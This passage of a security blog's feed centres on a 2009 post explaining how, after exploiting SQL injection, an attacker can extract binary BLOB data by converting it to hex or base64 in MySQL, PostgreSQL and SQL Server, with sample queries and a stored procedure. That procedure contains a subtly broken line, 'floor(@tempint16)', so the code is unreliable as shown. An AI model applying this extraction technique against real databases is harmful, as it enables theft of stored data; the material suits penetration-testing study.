discovery tool written in Python by &lt;a class="reference external" href="http://www.tanasi.it/"&gt;Alessandro `jekil`
Tanasi&lt;/a&gt; and licensed under &lt;a class="reference external" href="http://www.gnu.org/licenses/gpl-3.0.html"&gt;&lt;span class="caps"&gt;GNU&lt;/span&gt; General
Public License version
3&lt;/a&gt; (GPLv3). It&amp;#8217;s goal
is to enumerate all hostnames and configured virtual hosts on an &lt;span class="caps"&gt;IP&lt;/span&gt;
address. The primary users of hostmap are professionals performing
vulnerability assessments and penetration tests.&lt;/blockquote&gt;
&lt;p&gt;Take a look at &lt;a class="reference external" href="http://hostmap.lonerunners.net/"&gt;http://hostmap.lonerunners.net/&lt;/a&gt;&lt;/p&gt;
</content><category term="Tools"></category><category term="discovery"></category><category term="dns enumeration"></category><category term="dns name"></category><category term="virtual host"></category></entry><entry><title>Binary data fetching through SQLi</title><link href="https://jekil.sexy/blog/2009/binary-data-fetching-through-sqli.html" rel="alternate"></link><published>2009-02-23T22:45:00+00:00</published><updated>2009-02-23T22:45:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2009-02-23:/blog/2009/binary-data-fetching-through-sqli.html</id><summary type="html">&lt;div class="section" id="table-of-contents"&gt;
&lt;h2&gt;Table of&amp;nbsp;contents&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;1. Introduction&lt;/div&gt;
&lt;div class="line"&gt;2. How &lt;span class="caps"&gt;BLOB&lt;/span&gt; storage works&lt;/div&gt;
&lt;div class="line"&gt;3. Casting binary data&lt;/div&gt;
&lt;div class="line"&gt;3.1 MySQL&lt;/div&gt;
&lt;div class="line"&gt;3.2 PostgreSQL&lt;/div&gt;
&lt;div class="line"&gt;3.3 &lt;span class="caps"&gt;SQL&lt;/span&gt; Server&lt;/div&gt;
&lt;div class="line"&gt;4. References&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;1.&amp;nbsp;Introduction&lt;/h2&gt;
&lt;p&gt;Exploiting a &lt;span class="caps"&gt;SQL&lt;/span&gt; injection flaw in a web application can give the
attacker full control of the remote &lt;span class="caps"&gt;DBMS&lt;/span&gt;. One of the major consequences
of exploiting consists in fetching all or part of the data stored in the&amp;nbsp;database.&lt;/p&gt;
&lt;p&gt;In several cases, like a web application that stores images on the
database, the attacker has to deal with binary&amp;nbsp;data.&lt;/p&gt;
&lt;p&gt;Follows some techniques to fetch binary data via a &lt;span class="caps"&gt;SQL&lt;/span&gt; injection&amp;nbsp;flaw …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="table-of-contents"&gt;
&lt;h2&gt;Table of&amp;nbsp;contents&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;1. Introduction&lt;/div&gt;
&lt;div class="line"&gt;2. How &lt;span class="caps"&gt;BLOB&lt;/span&gt; storage works&lt;/div&gt;
&lt;div class="line"&gt;3. Casting binary data&lt;/div&gt;
&lt;div class="line"&gt;3.1 MySQL&lt;/div&gt;
&lt;div class="line"&gt;3.2 PostgreSQL&lt;/div&gt;
&lt;div class="line"&gt;3.3 &lt;span class="caps"&gt;SQL&lt;/span&gt; Server&lt;/div&gt;
&lt;div class="line"&gt;4. References&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;1.&amp;nbsp;Introduction&lt;/h2&gt;
&lt;p&gt;Exploiting a &lt;span class="caps"&gt;SQL&lt;/span&gt; injection flaw in a web application can give the
attacker full control of the remote &lt;span class="caps"&gt;DBMS&lt;/span&gt;. One of the major consequences
of exploiting consists in fetching all or part of the data stored in the&amp;nbsp;database.&lt;/p&gt;
&lt;p&gt;In several cases, like a web application that stores images on the
database, the attacker has to deal with binary&amp;nbsp;data.&lt;/p&gt;
&lt;p&gt;Follows some techniques to fetch binary data via a &lt;span class="caps"&gt;SQL&lt;/span&gt; injection&amp;nbsp;flaw.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="how-blob-storage-works"&gt;
&lt;h2&gt;2. How &lt;span class="caps"&gt;BLOB&lt;/span&gt; storage&amp;nbsp;works&lt;/h2&gt;
&lt;p&gt;According to Wikipedia a &lt;span class="caps"&gt;BLOB&lt;/span&gt;[1]&amp;nbsp;is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A binary large object, also known as a blob, is a collection of
binary data stored as a single entity in a database management
system. Blobs are typically images, audio or other multimedia
objects, though sometimes binary executable code is stored as a
blob. Database support for blobs is not&amp;nbsp;universal.&lt;/p&gt;
&lt;p&gt;Blobs were originally just amorphous chunks of data invented by Jim
Starkey at &lt;span class="caps"&gt;DEC&lt;/span&gt;, who describes them as &amp;#8220;the thing that ate
Cincinnati, Cleveland, or whatever&amp;#8221;. Later, Terry McKiever, a
marketing person for Apollo felt that it needed to be an acronym and
invented the backronym Basic Large Object. Then Informix invented an
alternative backronym, Binary Large Object. Today many people
believe that blob was originally intended as an acronym for&amp;nbsp;something.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;span class="caps"&gt;BLOB&lt;/span&gt; data can be stored in the &lt;span class="caps"&gt;DBMS&lt;/span&gt; tables or as usual file system
files linked by a pointer in the data table.&amp;nbsp; The &lt;span class="caps"&gt;BLOB&lt;/span&gt; storage engine
is built with one or a combination of these techniques to get the best&amp;nbsp;performances.&lt;/p&gt;
&lt;p&gt;The &lt;span class="caps"&gt;BLOB&lt;/span&gt; storage is handled by the &lt;span class="caps"&gt;DBMS&lt;/span&gt; engine that provides high level
&lt;span class="caps"&gt;SQL&lt;/span&gt; statement to the&amp;nbsp;user.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="casting-binary-data"&gt;
&lt;h2&gt;3. Casting Binary&amp;nbsp;data&lt;/h2&gt;
&lt;p&gt;The idea behind the hack is to cast the &lt;span class="caps"&gt;BLOB&lt;/span&gt; data to another data-type
that can be fetched via SQLi. For example: cast a &lt;span class="caps"&gt;BLOB&lt;/span&gt; to a string
containing the &lt;span class="caps"&gt;BLOB&lt;/span&gt; encoded in base64, so we can use a string
representation of binary object that acts as middleware to fetch data
over any type of &lt;span class="caps"&gt;SQL&lt;/span&gt;&amp;nbsp;injection.&lt;/p&gt;
&lt;p&gt;As far as I know there are no public automatic &lt;span class="caps"&gt;SQL&lt;/span&gt; injection tools that
can fetch binary data from a vulnerable web&amp;nbsp;application.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="mysql"&gt;
&lt;h2&gt;3.1&amp;nbsp;MySQL&lt;/h2&gt;
&lt;p&gt;In MySQL &lt;span class="caps"&gt;SQL&lt;/span&gt; syntax the function &lt;span class="caps"&gt;HEX&lt;/span&gt;()[2] can be used to get the
hexadecimal value of one field of any data-type. The function
&lt;span class="caps"&gt;HEX&lt;/span&gt;(`foo`) returns a string representation of the hexadecimal value of
foo, where foo is a binary large object (&lt;span class="caps"&gt;BLOB&lt;/span&gt;). So we can cast a binary
data-type to a string&amp;nbsp;data-type.&lt;/p&gt;
&lt;p&gt;For example the following &lt;span class="caps"&gt;SQL&lt;/span&gt; statement returns the hexadecimal value of
the binary object stored in the field named&amp;nbsp;blob:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="nf"&gt;HEX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;`blob`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;footable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now we can use the hexadecimal &lt;span class="caps"&gt;BLOB&lt;/span&gt; representation to fetch data from
binary (&lt;span class="caps"&gt;BLOB&lt;/span&gt;) fields using the standard techniques to fetch data via &lt;span class="caps"&gt;SQL&lt;/span&gt;
injection or blind &lt;span class="caps"&gt;SQL&lt;/span&gt;&amp;nbsp;injection.&lt;/p&gt;
&lt;p&gt;Using &lt;span class="caps"&gt;HEX&lt;/span&gt;() we can deal a &lt;span class="caps"&gt;BLOB&lt;/span&gt; as a text string and use the common
techniques and&amp;nbsp;tools.&lt;/p&gt;
&lt;p&gt;Once we have fetched the binary data encoded as hexadecimal, we have to
restore the original binary data out of it. We can use the &lt;span class="caps"&gt;SQL&lt;/span&gt; &lt;span class="caps"&gt;UNHEX&lt;/span&gt;()
function, that get a hexadecimal string and outputs a &lt;span class="caps"&gt;BLOB&lt;/span&gt; object, a
command line utility or a few lines in you favorite programming language
can do the&amp;nbsp;trick.&lt;/p&gt;
&lt;p&gt;This is the easy way to get a textual representation of &lt;span class="caps"&gt;BLOB&lt;/span&gt; under
MySQL, the &lt;span class="caps"&gt;HEX&lt;/span&gt;() function is supported from MySQL&amp;nbsp;4.1.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="postgresql"&gt;
&lt;h2&gt;4.2&amp;nbsp;PostgreSQL&lt;/h2&gt;
&lt;p&gt;PostgreSQL can not store values of more than several thousands bytes
within any data-type except large objects, nor can binary data be easily
entered within single quotes. Instead, large objects (&lt;span class="caps"&gt;BLOB&lt;/span&gt;) are used to
store very large values and binary&amp;nbsp;data.&lt;/p&gt;
&lt;p&gt;&lt;span class="caps"&gt;BLOB&lt;/span&gt; permits storage of any operating system file, including images or
large text files, directly into the&amp;nbsp;database.&lt;/p&gt;
&lt;p&gt;As you can see in the &lt;span class="caps"&gt;DBMS&lt;/span&gt; data-type comparison sheet[3] PostgreSQL
stores &lt;span class="caps"&gt;BLOB&lt;/span&gt; data in a data-type called &lt;span class="caps"&gt;OID&lt;/span&gt; that acts like a pointer to
the stored object on the file&amp;nbsp;system.&lt;/p&gt;
&lt;p&gt;For example using the psql client from command line you can load the
file into the database using lo_import(), and retrieve it from the
database using lo_export() which works only for local&amp;nbsp;files[4].&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;postgres=#&lt;/span&gt; &lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="n"&gt;OID&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="go"&gt;CREATE TABLE&lt;/span&gt;
&lt;span class="gp"&gt;postgres=#&lt;/span&gt; &lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lo_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/bar.jpg&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="go"&gt;INSERT 0 1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The lo_import() function stores /tmp/bar.jpg into the database. The
function call returns an &lt;span class="caps"&gt;OID&lt;/span&gt; that is used to refer the imported large
object. This value is stored in foo.image as an&amp;nbsp;integer.&lt;/p&gt;
&lt;p&gt;If you want to read the foo.image value the lo_export() function uses
the &lt;span class="caps"&gt;OID&lt;/span&gt; value to find the large object stored in the database, then
places the exported file into the output&amp;nbsp;file.&lt;/p&gt;
&lt;p&gt;Full path names must be used with large objects because the database
server runs in a different directory than the psql client. Files are
imported and exported by the postgres user, so postgres must have
permission to read the file for lo_import() and directory write
permission for&amp;nbsp;lo_export().&lt;/p&gt;
&lt;p&gt;There are others functions to manage large objects (&lt;span class="caps"&gt;BLOB&lt;/span&gt;) available
under&amp;nbsp;PostreSQL[5].&lt;/p&gt;
&lt;p&gt;Because large objects uses the local filesystem, users connecting over a
network can not use lo_import() or lo_export(). They can, however, use
psql&amp;#8217;s \lo_import and \lo_export&amp;nbsp;commands.&lt;/p&gt;
&lt;p&gt;If we are exploiting a &lt;span class="caps"&gt;SQL&lt;/span&gt; injection in a web application we can&amp;#8217;t use
the functions lo_import() and lo_export() but we need a way to get the
juice data on the vulnerable&amp;nbsp;server.&lt;/p&gt;
&lt;p&gt;From PostgreSQL documentation &amp;#8220;String Functions and Operators&amp;#8221;[6] we
catch the function &lt;span class="caps"&gt;ENCODE&lt;/span&gt;(data bytea, type&amp;nbsp;text).&lt;/p&gt;
&lt;p&gt;This function encodes binary data to an &lt;span class="caps"&gt;ASCII&lt;/span&gt;-only representation. The
supported types are: base64, hex,&amp;nbsp;escape.&lt;/p&gt;
&lt;p&gt;Now we have the function to convert a bytea data-type into a base64 or
hex string. We need only to convert the &lt;span class="caps"&gt;BLOB&lt;/span&gt; &lt;span class="caps"&gt;OID&lt;/span&gt; in a&amp;nbsp;bytea.&lt;/p&gt;
&lt;p&gt;The fastest way to do this is a two step recipe: first get the number of
&lt;span class="caps"&gt;OID&lt;/span&gt; that you need and after quering the system table&amp;nbsp;pg_largeobject.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;postgres=#&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="go"&gt;image&lt;/span&gt;
&lt;span class="go"&gt;——-&lt;/span&gt;
&lt;span class="go"&gt;16387&lt;/span&gt;
&lt;span class="go"&gt;(1 row)&lt;/span&gt;
&lt;span class="gp"&gt;postgres=#&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;ENCODE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;base64&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_largeobject&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;LOID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;16387&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="go"&gt;encode&lt;/span&gt;
&lt;span class="go"&gt;——————————————————————————&lt;/span&gt;
&lt;span class="go"&gt;JVBERi0xLjINJeLjz9MNCjIwOSAwIG9iag08PCANL0xpbmVhcml6ZWQgMSAN&lt;/span&gt;
&lt;span class="go"&gt;IDYyOCA4NTEgXSANL0wgMjU4NDYxOCANL0UgMTI5NDg1IA0vTiAxNiANL&lt;/span&gt;
&lt;span class="go"&gt;DWVuZG9iag0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC&lt;/span&gt;
&lt;span class="go"&gt;[snip..]&lt;/span&gt;
&lt;span class="go"&gt;M2I4MWJkNTdlOTNjNWVmNj5dDT4+DXN0YXJ0eHJlZg0xNzMNJSVFT0YN&lt;/span&gt;
&lt;span class="go"&gt;(1263 rows)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now you get your goal and you can fetch a &lt;span class="caps"&gt;BLOB&lt;/span&gt; on PostgreSQL with only
two&amp;nbsp;queries.&lt;/p&gt;
&lt;p&gt;For further details on PostgreSQL &lt;span class="caps"&gt;BLOB&lt;/span&gt; functions you can refer to &amp;#8220;SQLi:
Writing files to disk under&amp;nbsp;PostgreSQL&amp;#8221;[7].&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="sql-server"&gt;
&lt;h2&gt;3.3 &lt;span class="caps"&gt;SQL&lt;/span&gt;&amp;nbsp;Server&lt;/h2&gt;
&lt;p&gt;&lt;span class="caps"&gt;SQL&lt;/span&gt; Server stores binary data in the following data-types: &lt;span class="caps"&gt;BINARY&lt;/span&gt;,
&lt;span class="caps"&gt;VARBINARY&lt;/span&gt;, &lt;span class="caps"&gt;IMAGE&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;You can create a demo table for your test&amp;nbsp;with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;dbo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;PRIMARY&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;TEXTIMAGE_ON&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;PRIMARY&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;GO&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You can insert the file foo.bmp with the&amp;nbsp;following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tempdb&lt;/span&gt;&lt;span class="p"&gt;].[&lt;/span&gt;&lt;span class="n"&gt;dbo&lt;/span&gt;&lt;span class="p"&gt;].[&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt;
&lt;span class="n"&gt;OPENROWSET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BULK&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;C:\foo.bmp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SINGLE_BLOB&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
&lt;span class="k"&gt;GO&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The binary data can be converted to a hex string injecting a stored
procedure in &lt;span class="caps"&gt;SQL&lt;/span&gt; Server. This is described in Microsoft&amp;nbsp;kb104829[8].&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="k"&gt;procedure&lt;/span&gt; &lt;span class="n"&gt;sp_hexadecimal&lt;/span&gt;
&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;binvalue&lt;/span&gt; &lt;span class="n"&gt;varbinary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;as&lt;/span&gt;
&lt;span class="k"&gt;declare&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;charvalue&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;declare&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;
&lt;span class="k"&gt;declare&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="k"&gt;length&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;
&lt;span class="k"&gt;declare&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;hexstring&lt;/span&gt; &lt;span class="nb"&gt;char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;charvalue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;0x&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="k"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datalength&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;binvalue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;hexstring&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="ss"&gt;&amp;quot;0123456789abcdef&amp;quot;&lt;/span&gt;

&lt;span class="n"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="k"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;begin&lt;/span&gt;

&lt;span class="k"&gt;declare&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;tempint&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;
&lt;span class="k"&gt;declare&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;firstint&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;
&lt;span class="k"&gt;declare&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;secondint&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;

&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;tempint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;convert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;binvalue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;firstint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;tempint16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;secondint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;tempint&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;firstint&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;charvalue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;charvalue&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="k"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;hexstring&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;firstint&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="k"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;hexstring&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;secondint&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;sp_hexadecimal&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;=@&lt;/span&gt;&lt;span class="n"&gt;charvalue&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="other-dbms"&gt;
&lt;h2&gt;3.4 Other &lt;span class="caps"&gt;DBMS&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;The same technique can be used in any other &lt;span class="caps"&gt;DBMS&lt;/span&gt; like Oracle, &lt;span class="caps"&gt;DB2&lt;/span&gt;,
Informix that have casting functions or &lt;span class="caps"&gt;BLOB&lt;/span&gt; conversion&amp;nbsp;functions.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="references"&gt;
&lt;h2&gt;4.&amp;nbsp;References&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;[1] &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Binary_large_object"&gt;http://en.wikipedia.org/wiki/Binary_large_object&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[2] &lt;a class="reference external" href="http://dev.mysql.com/doc/mysql/en/String_functions.html"&gt;http://dev.mysql.com/doc/mysql/en/String_functions.html&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[3]
&lt;a class="reference external" href="http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html"&gt;http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[4]
&lt;a class="reference external" href="http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html"&gt;http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[5] &lt;a class="reference external" href="http://www.postgresql.org/docs/8.3/interactive/largeobjects.html"&gt;http://www.postgresql.org/docs/8.3/interactive/largeobjects.html&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[6]
&lt;a class="reference external" href="http://www.postgresql.org/docs/8.1/interactive/functions-string.html"&gt;http://www.postgresql.org/docs/8.1/interactive/functions-string.html&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[7]
